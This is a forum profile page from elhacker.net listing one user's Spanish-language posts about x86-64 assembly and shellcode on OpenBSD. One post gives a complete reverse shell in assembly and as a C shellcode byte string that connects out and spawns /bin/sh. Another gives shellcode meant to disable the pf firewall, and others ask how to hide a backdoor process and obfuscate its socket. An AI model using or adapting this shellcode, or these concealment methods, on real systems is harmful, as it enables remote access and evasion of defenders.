elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Temas
Páginas: 1 2 3 4 [5] 6 7
41  Programación / ASM / Llamar dirección en: 9 Abril 2013, 18:20 pm
Hola

Cuando cargo unos bytes en el stack, y luego los llamo con un call tengo el siguiente problema.

Código
  1. pushq $0x050f01b0
  2. callq *%rsp

Sería una llamada a exit, crea un segmentation fault, cuando cargo los bytes en memoria igual.

Código:
PSIG  SIGSEGV SIG_DFL code SEGV_MAPERR<1> addr=0x6001d0 trapno=6

En C más de lo mismo.

Cuando miro el disassembler llama a esp, no entiendo porque no llamada a rsp, seguro que esta hay el problema.

Pero en 32 bits funciona bien.

También mirare los manuales.

Un saludo.

P.D:

Código
  1. (*(void(*)()) code)();

 :huh: :huh:

Código
  1. mov    $0x600980,%edx
  2. mov    $0x0,%eax
  3. callq  *%edx

42  Sistemas Operativos / Unix/Unix-Like / Incluir cabezales ".h" en: 18 Marzo 2013, 19:51 pm
Estoy realizando un programa en ASM y necesito recurrir a las librerias de C.

Probé la directiva .extern pero sin resultado, compilando el ".S" con gcc opción -nostdlib pero nada.

Se pueden incluir los cabezales con ld?
Cuál seria la forma?

Si eso no es posible la única forma seria pasar la función a syscall, pero eso no seria portable para otras plataformas no?

Un saludo.
43  Sistemas Operativos / Unix/Unix-Like / Libros sobre LKM en: 14 Marzo 2013, 20:10 pm
Alguien conoce algún libro no demasiado obsoleto que traté sobre los LKM?

Yo encontré este, que les parece?

Código:
Unix Systems for Modern Architectures

Un saludo.
44  Programación / ASM / Argumento 64 bits. en: 26 Febrero 2013, 20:55 pm
Hola

Cuando paso el valor al cuarto argumento rcx, al llamar la syscall el valor se torna nuló, es lo que muestra kdump, ¿A que se debe?.


Código
  1. .section .text
  2. .globl _start
  3.  
  4. _start:
  5.  
  6. pushq $0x2
  7. popq %rdi
  8. pushq $0x1
  9. popq %rsi
  10. movb $0x6, %dl
  11. addb $0x61, %al
  12. syscall
  13.  
  14. xchgq %rax, %rdi
  15. incq %r8
  16. incq %rsi
  17. leaq 0x8(%rsp), %rcx
  18. movb $0x69, %al
  19. syscall

Código:
CALL  socket(PF_INET,SOCK_STREAM,IPPROTO_TCP)
RET   socket 3
CALL  setsockopt(0x3,0x2,0x6,0,0x1)
RET   setsockopt -1 errno 22 Invalid argument
PSIG  SIGSEGV SIG_DFL code SEGV_MAPERR<1> addr=0x16 trapno=6

Un saludo.
45  Programación / ASM / [Duda] Estructuras en: 6 Febrero 2013, 16:56 pm
Hola

Cuando una función requiere una estructura cargo los valores al stack, y los paso como dirección, pero la pregunta es la siguiente.

Quiero rellenar la estructura tcphdr, el encabezado tcp, pero esta no requiere que la pase a ninguna función, como se hace?

Un saludo.
46  Sistemas Operativos / Unix/Unix-Like / Calcular potencia de los binarios en: 28 Enero 2013, 11:50 am
Hola

Pues lo dicho, me gustaría saber los GFLOPs que alcanza un binario.

Solo puedo calcular la velocidad, con kdump.

Un saludo.
47  Seguridad Informática / Bugs y Exploits / [!] Reverse shell Unix-like en: 11 Enero 2013, 14:41 pm
Hola

Para poner en practica los conocimientos que voy adquiriendo en ASM, hice una pequeña reverse shell de 64bits.

Esta testeada en OpenBSD y en nivel local, no remoto, solo es para poner en practica mis conocimientos, eso lo dejo bien claro.

Código
  1. .section .text
  2. .globl _start
  3.  
  4. _start:
  5.  
  6. incb %al
  7. pushq %rax
  8. popq %rsi
  9. incb %al
  10. pushq %rax                      //socket
  11. popq %rdi
  12. orb $0x4, %al
  13. pushq %rax
  14. popq %rdx
  15. addb $0x5b, %al
  16. syscall
  17.  
  18. xchgq %rax, %rdi            //descriptor
  19.  
  20. movq $0x0100007f4dbc02ff, %rbx        //sockaddr_in
  21. pushq %rbx
  22.  
  23. movq %rsp, %rsi
  24. movb $0x10, %dl                   //connect
  25. orb $0x60, %al
  26. syscall
  27.  
  28. xorq %rsi, %rsi
  29.  
  30. C.0:
  31.  
  32. movb $0x5a, %al
  33. syscall
  34. incb %sil                             //dup2 0,1,2
  35. cmpb $0x03, %sil
  36.  
  37. loopne C.0
  38.  
  39. movq $0x68732f6e69622fff, %rbx
  40. shrq $0x8, %rbx
  41. pushq %rbx
  42. movq %rsp, %rdi
  43. xorb %al, %al                       //execve sh
  44. pushq %rax
  45. movq %rsp, %rsi
  46. xchgq %rax, %rdx
  47. addb $0x2b, %al
  48. syscall
  49.  
  50. xorb %al, %al
     

C:

Código
  1. "\xfe\xc0\x50\x5e\xfe\xc0\x50\x5f\x0c\x04\x50\x5a"
  2. "\x04\x5b\x0f\x05\x48\x97\x48\xbb\xff\x02"
  3. "\xbc\x4d"                  // puerto
  4. "\x7f\x00\x00\x01"         // direccion
  5. "\x53\x48\x89\xe6\xb2\x10\x0c\x60\x0f\x05\x48\x31"
  6. "\xf6\xb0\x5a\x0f\x05\x48\xff\xc6\x48\x83\xfe\x03"
  7. "\xe0\xf3\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68"
  8. "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x30\xc0\x50\x48"
  9. "\x89\xe6\x48\x92\x04\x2b\x0f\x05\x30\xc0";

Cualquier pregrunta sobre el código no os cortéis.

Un saludo.
48  Programación / ASM / Shellcode direcciones en: 8 Diciembre 2012, 09:29 am
Hola

Estoy creando una shellcode para que desactive pf, y tengo el siguiente problema.

Código
  1. .section .text
  2. .globl _start
  3. _start:
  4.  
  5. pushq %rax
  6. push $0x6c746366
  7. push $0x702f6e69
  8. push $0x62732f2f
  9. movq %rsp, %rdi
  10. pushq %rax
  11. push $0x642d
  12. pushq %rdi
  13. movq %rsp, %rsi
  14. xorq %rax, %rax
  15. movb $0x3b, %al
  16. int $0x80
  17.  
  18. xorq %rax, %rax
  19. movb $0x01, %al
  20. int $0x80

No presenta ninguna segmentation fault así que la tracé.

Código:
 11277 l        CALL  execve(0x7f7fffff6960,0x7f7fffff6948,0)
 11277 l        NAMI  "//sb"
 11277 l        RET   execve -1 errno 2 No such file or directory
 11277 l        CALL  exit(0x7f7fffff6960)

Al cargar la dirección de pfctl, solo copia en el registro rdi 0x62732f2f "//sb" no entiendo porque no carga la dirección completa.

Un saludo.
49  Seguridad Informática / Análisis y Diseño de Malware / [Duda] Cifrar Socket en: 5 Diciembre 2012, 20:06 pm
Hola

Cuando creas un socket se guarda en una variable entera que se le llama descriptor, luego ese descriptor se usa para las funciones como connect, bind, revc etc...

Cifrando el descriptor con XOR la conexión funcionaría?

Hay otras formas más "refinadas" de conseguirlo"?

Un saludo.
50  Sistemas Operativos / Unix/Unix-Like / Ocultar procesos en: 15 Noviembre 2012, 21:12 pm
Hola

Voy al grano.

Tengo algo parecido a una backdoor, como un netcat, pero es "muy básica".

Cuando miro las conexiones activas hay aparece, y en ps también, la oculto cambiando el nombre por un proceso común, pero es muy cutre no?

Hay una práctica llamada "Hooking" si no me equivoco, pero todo es para windows, alguien puede echarme un cable para un unix-like?

Un saludo.

P.D: Muestro el código si alguien quiere.
Páginas: 1 2 3 4 [5] 6 7
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines